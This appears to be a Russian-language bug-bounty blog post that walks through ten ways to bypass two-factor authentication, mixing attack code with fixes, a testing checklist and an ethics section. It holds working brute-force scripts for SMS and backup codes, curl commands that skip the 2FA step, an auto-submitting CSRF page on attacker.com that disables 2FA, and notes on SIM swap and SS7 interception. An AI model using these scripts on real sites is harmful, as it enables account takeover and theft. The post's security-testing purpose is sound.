🎭 Как я притворился легитимным пользователем и обошёл 2FA
Привет, хакеры! 🔐 Сегодня разберём самую интересную тему — обход двухфакторной аутентификации. Все думают, что 2FA = неприступная крепость, но это не так.
🎯 Техника #1: Race Condition в SMS коде
Как работает нормально:
1. Пользователь вводит логин/пароль
2. Система отправляет SMS с кодом (123456)
3. Код действителен 5 минут
4. После ввода кода → доступ
Уязвимость: параллельная проверка кода
# Мой скрипт для брутфорса через race condition
import requests
from concurrent.futures import ThreadPoolExecutor
def try_code(code):
session = requests.Session()
# Логин
session.post('https://target.com/login',
data={'username': 'victim@mail.ru', 'password': 'known_pass'})
# Пробуем код
r = session.post('https://target.com/verify-2fa',
data={'code': code})
if 'success' in r.text or r.status_code == 302:
print(f"[+] FOUND CODE: {code}")
return True
return False
# 6-значный код = 1,000,000 вариантов
# Но! Если нет rate limiting + race condition:
codes = [str(i).zfill(6) for i in range(1000000)]
# 100 параллельных запросов
with ThreadPoolExecutor(max_workers=100) as executor:
results = executor.map(try_code, codes)
# Находим за 2-3 минуты вместо часов!
Почему работает:
• Сервер не блокирует после N попыток
• Параллельные запросы обходят счётчик попыток
• Code остаётся валидным всё время брутфорса
🎯 Техника #2: Response Manipulation (клиент решает)
Уязвимый flow:
// Frontend код (JavaScript)
function verify2FA() {
const code = document.getElementById('2fa-code').value;
fetch('/api/verify', {
method: 'POST',
body: JSON.stringify({code: code})
})
.then(response => response.json())
.then(data => {
if (data.valid === true) {
window.location = '/dashboard'; // ТУТ ОШИБКА!
} else {
alert('Wrong code');
}
});
}
Атака через Burp Suite:
POST /api/verify HTTP/1.1
Host: target.com
Content-Type: application/json
{"code": "000000"}
Response:
HTTP/1.1 200 OK
{"valid": false, "message": "Invalid code"}
=== МЕНЯЕМ ОТВЕТ В BURP ===
Response (Modified):
HTTP/1.1 200 OK
{"valid": true, "message": "Success"} ← Подменили!
→ Frontend видит valid: true
→ Редирект на /dashboard
→ Обошли 2FA! 🎉
🎯 Техника #3: Direct Request (пропуск шага)
Нормальный flow:
1. POST /login → Set-Cookie: session_id=abc123
2. GET /verify-2fa → Форма ввода кода
3. POST /verify-2fa → Проверка кода
4. GET /dashboard → Если код верный
Уязвимость: можно пропустить шаг 2-3
# Логинимся
curl -c cookies.txt -X POST https://target.com/login \
-d "username=victim&password=pass123"
# Пропускаем 2FA и сразу идём на dashboard
curl -b cookies.txt https://target.com/dashboard
# Если видим контент → 2FA обошли!
Почему работает:
• Session создаётся после логина (шаг 1)
• 2FA проверка НЕ записывается в session
• Dashboard проверяет только наличие session, не факт прохождения 2FA
Правильно:
# В session должен быть флаг
session['2fa_verified'] = False
# После успешной 2FA
session['2fa_verified'] = True
# Каждый protected endpoint:
if not session.get('2fa_verified'):
return redirect('/verify-2fa')
🎯 Техника #4: Backup Codes Brute-force
Как работают backup codes:
• При настройке 2FA даются 10 одноразовых кодов
• Формат обычно: `XXXX-XXXX` (8 символов)
• Используются если потерял телефон
Уязвимость: короткие коды + нет rate limiting
# Брутфорс backup кодов
import string
import itertools
def generate_codes():
# Формат: 4 цифры - 4 цифры
for combo in itertools.product(string.digits, repeat=8):
code = ''.join(combo)
formatted = f"{code[:4]}-{code[4:]}"
yield formatted
# Пробуем
for code in generate_codes():
r = requests.post('https://target.com/verify-backup',
data={'backup_code': code},
cookies=cookies)
if 'success' in r.text:
print(f"[+] FOUND: {code}")
break
# Если нет rate limiting → пробуем все 100,000,000 комбинаций
Оптимизация:
• Backup коды часто генерируются предсказуемо
• Словари common patterns
• Leaked databases с кодами
🎯 Техника #5: CSRF на disable 2FA
Flow отключения 2FA:
1. Пользователь на странице /settings/security
2. Кликает "Disable 2FA"
3. Вводит текущий пароль
4. 2FA отключается
Уязвимость: нет CSRF token + нет 2FA при отключении (!)
<!-- Злонамеренная страница attacker.com -->
<html>
<body>
<form id="evil" action="https://target.com/disable-2fa" method="POST">
<input type="hidden" name="confirm" value="yes">
<input type="hidden" name="password" value=""> <!-- Если не требуется! -->
</form>
<script>
document.getElementById('evil').submit();
</script>
</body>
</html>
Сценарий атаки:
1. Жертва залогинена в target.com (есть session cookie)
2. Переходит на attacker.com (фишинг/XSS)
3. Автоматически отправляется форма
4. 2FA отключается БЕЗ подтверждения кодом!
5. Атакующий логинится → 2FA больше нет → profit
🎯 Техника #6: Session Fixation
Нормальный flow:
1. Пользователь открывает сайт → session_id=temp123
2. Логин успешен → session_id меняется на auth456
3. 2FA пройден → session остаётся auth456
Уязвимость: session НЕ меняется после 2FA
# Атакующий получает жертву на свой ссылку
https://target.com/?session_id=attacker_controlled_123
# Жертва логинится + проходит 2FA с этим session
# Атакующий использует тот же session:
curl -b "session_id=attacker_controlled_123" https://target.com/dashboard
# Access granted! Обошли 2FA через session fixation
Фикс:
# После КАЖДОГО security event:
session.regenerate_id() # Новый session ID
🎯 Техника #7: OAuth/SSO Bypass
Flow с “Login with Google”:
1. User clicks "Login with Google"
2. Redirects to google.com/oauth
3. User authorizes
4. Callback: /oauth/callback?code=xyz
5. Server exchanges code for user info
6. Login success (2FA пропускается!)
Уязвимость: OAuth считается trusted → 2FA не требуется
Атака:
1. Жертва использует email/password с 2FA
2. Атакующий знает email жертвы
3. Создаёт Google аккаунт с тем же email (если возможно)
4. “Login with Google” → 2FA не спрашивается
5. Access granted!
Или:
• Account linking: привязываешь свой Google к чужому аккаунту
• OAuth token stealing
• Redirect URI manipulation
🎯 Техника #8: Remember Me Token
Flow:
1. Login + 2FA → галочка "Remember this device"
2. Set-Cookie: remember_token=abc123 (expires: 30 days)
3. Следующий логин: есть remember_token → 2FA пропускается
Уязвимость: токен предсказуемый или кражабельный
# Генерация слабого токена
remember_token = md5(user_id + timestamp) # Плохо!
# Если знаешь user_id и примерное время → можешь подобрать
# Или:
# XSS → украл remember_token через document.cookie
# Используешь на своём браузере → 2FA обошли
🎯 Техника #9: SMS Intercept (SIM Swap)
Технический обход (для bug bounty: демонстрируешь возможность):
1. SIM Swap атака (социальная инженерия с оператором)
2. Номер жертвы переносится на SIM атакующего
3. SMS с 2FA кодом приходит атакующему
4. Profit
Или менее криминальный PoC:
# SS7 уязвимости (если есть доступ к SS7 сети)
# Перехват SMS через SS7 протокол
# Для bug bounty достаточно показать:
# "SMS 2FA vulnerable to SIM swap attack"
# + ссылки на research papers
# = High severity bounty
🎯 Техника #10: Timing Attack на TOTP
Как работает TOTP (Google Authenticator):
# Код генерируется на основе текущего времени
import hmac
import time
secret = "USER_SECRET_KEY"
current_time = int(time.time()) // 30 # 30-секундные окна
code = hmac.new(secret, current_time, 'sha1').digest()[:6]
Уязвимость: clock skew (разница во времени)
# Проверка на сервере (уязвимая):
def verify_totp(user_code):
current = generate_totp(time.time())
if user_code == current:
return True
return False
# Проблема: если время сервера/клиента не синхронизировано
# Код может не работать
# Правильно (обычно):
def verify_totp_secure(user_code):
current_time = int(time.time()) // 30
# Проверяем текущее окно + предыдущее + следующее
for offset in [-1, 0, 1]:
test_code = generate_totp((current_time + offset) * 30)
if user_code == test_code:
return True
return False
Атака:
• Если сервер принимает коды из прошлых окон
• Можно использовать старый код повторно (replay attack)
💡 Checklist для тестирования 2FA
Rate Limiting:
• Можно ли брутфорсить SMS/TOTP код?
• Есть ли ограничение на попытки?
• Блокируется ли аккаунт после N неудач?
Logic Bugs:
• Можно ли пропустить шаг 2FA (direct request)?
• Проверяется ли 2FA на каждом endpoint?
• Меняется ли session после 2FA?
Client-Side:
• Проверка 2FA только на клиенте?
• Можно ли подменить ответ сервера?
• JavaScript валидация?
Backup Codes:
• Достаточно ли сложные?
• Есть ли rate limiting?
• Одноразовые ли они?
Disable 2FA:
• Требуется ли 2FA для отключения 2FA?
• Есть ли CSRF защита?
• Нужен ли текущий пароль?
OAuth/SSO:
• Пропускается ли 2FA при OAuth логине?
• Account linking защищён?
Remember Me:
• Токены криптографически стойкие?
• HttpOnly + Secure cookies?
• Ротация токенов?
SMS:
• Только SMS или есть альтернативы?
• Защита от SIM swap?
• Device fingerprinting?
⚠️ Важно: Этика и легальность
Для bug bounty:
✅ Разрешено:
• Тестировать обход 2FA на своих тестовых аккаунтах
• Демонстрировать уязвимость БЕЗ реального взлома чужих аккаунтов
• Теоретические PoC (например, для SIM swap)
❌ ЗАПРЕЩЕНО:
• Взламывать чужие аккаунты
• SIM swap на реальных номерах
• Использовать баг для кражи данных
• Тестировать на аккаунтах других пользователей
Правильный PoC:
1. Создаю 2 своих тестовых аккаунта
2. Демонстрирую обход 2FA с Account A на Account B
3. Пишу detailed репорт с impact analysis
4. НЕ трогаю реальных пользователей
Моё золотое правило:
“Если для PoC нужно взломать чужой аккаунт — это НЕ PoC, это криминал.”
Мои выводы:
• 2FA НЕ панацея, это просто ещё один слой
• Логические баги чаще, чем криптографические
• High severity гарантирована (account takeover risk)
• Легче находить на новых стартапах, чем в банках
Удачной охоты на 2FA! 🎭🔓💰
#дневникхакера #2FAbypass #bugbounty #authenticationbypass #accounttakeover #2FA #websecurity #ethicalhacking #pentesting #bugbountytips #cybersecurity #infosec
P.S. Все техники — для легального bug bounty. Используй только на своих тестовых аккаунтах или с разрешением. Уголовка за взлом реальна! 🚔
P.P.S. Если компания говорит “У нас есть 2FA, мы защищены” — покажи им этот пост. 2FA != безопасность, это просто один из слоёв. 🛡️
